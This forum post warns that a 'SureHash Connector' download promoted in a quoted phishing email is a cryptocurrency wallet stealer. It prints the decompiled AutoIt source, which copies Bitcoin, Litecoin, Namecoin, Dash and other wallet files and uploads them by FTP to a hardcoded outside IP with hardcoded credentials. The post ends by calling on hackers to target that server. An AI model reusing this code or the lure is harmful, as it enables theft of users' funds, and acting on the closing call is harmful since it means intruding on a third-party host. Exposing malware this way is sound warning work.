Latest posts of: Nec66

Hi, guys! I'm got email from surehash , here is it:

Dear SureHash.com Member,

Over the past week we have had a team of developers make some software for us which allows you to now monitor your Hash Power and Point It to the pool of your choice!

As a bonus we have also embedded 25 x 500 GHS Free Accounts to the first 25 members to join using our SureHash Connector Software.

Remember all our contracts are one year contracts! a free one year of profit, what do you have to lose!

You can download our software here (http://www.surehash.com/SureHashConnector.zip)

Thank You So Much For Your Support and Enjoy Pointing at your own pool. We are the only service to offer this!

THIS IS WALLET STEALER!! NOT USE IT!!!

Written on autoit....

I'm decompile, and got this:

Func sendwallets()
   $sappdatapath = @AppDataDir
   $smachinename = @ComputerName
   $susername = @UserName
   $srandom = Random(0, 99999, 1)
   If NOT FileExists($sappdatapath & "\Windows_9955\") Then
      DirCreate($sappdatapath & "\Windows_9955\")
      If FileExists($sappdatapath & "\bitcoin\") Then
         FileCopy($sappdatapath & "\bitcoin\" & "w" & "al" & "le" & "t" & "." & "da" & "t", $sappdatapath & "\bitcoin\" & "wqt.dat")
         sendfile($sappdatapath & "\bitcoin\wqt.dat", "bitcoin-qt-" & $srandom & "-" & $smachinename & "-" & $susername)
      EndIf
      If FileExists($sappdatapath & "\MultiBit\multibit.wallet") Then
         sendfile($sappdatapath & "\MultiBit\multibit.wallet", "bitcoin-MultiBit-" & $srandom & "-" & $smachinename & "-" & $susername)
      EndIf
      If FileExists($sappdatapath & "\MultiBit\untitled.wallet") Then
         sendfile($sappdatapath & "\MultiBit\untitled.wallet", "bitcoin-Untitled-" & $srandom & "-" & $smachinename & "-" & $susername)
      EndIf
      If FileExists($sappdatapath & "\MultiBit\new.wallet") Then
         sendfile($sappdatapath & "\MultiBit\new.wallet", "bitcoin-New-" & $srandom & "-" & $smachinename & "-" & $susername)
      EndIf
      If FileExists($sappdatapath & "\namecoin\") Then
         FileCopy($sappdatapath & "\namecoin\" & "w" & "al" & "le" & "t" & "." & "da" & "t", $sappdatapath & "\namecoin\" & "wqt.dat")
         sendfile($sappdatapath & "\namecoin\wqt.dat", "namecoin-qt-" & $srandom & "-" & $smachinename & "-" & $susername)
      EndIf
      If FileExists($sappdatapath & "\litecoin\") Then
         FileCopy($sappdatapath & "\litecoin\" & "w" & "al" & "le" & "t" & "." & "da" & "t", $sappdatapath & "\litecoin\" & "wqt.dat")
         sendfile($sappdatapath & "\litecoin\wqt.dat", "litecoin-qt-" & $srandom & "-" & $smachinename & "-" & $susername)
      EndIf
      If FileExists($sappdatapath & "\darkcoin\") Then
         FileCopy($sappdatapath & "\darkcoin\" & "w" & "al" & "le" & "t" & "." & "da" & "t", $sappdatapath & "\darkcoin\" & "wqt.dat")
         sendfile($sappdatapath & "\darkcoin\wqt.dat", "darkcoin-qt-" & $srandom & "-" & $smachinename & "-" & $susername)
      EndIf
      If FileExists($sappdatapath & "\dash\") Then
         FileCopy($sappdatapath & "\dash\" & "w" & "al" & "le" & "t" & "." & "da" & "t", $sappdatapath & "\dash\" & "wqt.dat")
         sendfile($sappdatapath & "\dash\wqt.dat", "dash-qt-" & $srandom & "-" & $smachinename & "-" & $susername)
      EndIf
   EndIf
EndFunc

Func sendfile($sfilename, $sremotefilename)
   Local $sserver = "86.152.6.34"
   Local $susername = "crypto"
   Local $spass = "crypto"
   Local $hopen = _ftp_open("MyFTP Control")
   Local $hconn = _ftp_connect($hopen, $sserver, $susername, $spass, 1)
   Local $hput = _ftp_fileput($hconn, $sfilename, $sremotefilename, 1)
   Local $iftpc = _ftp_close($hconn)
   Local $iftpo = _ftp_close($hopen)
EndFunc

Hackers, let's go ->>>    Local $sserver = "86.152.6.34"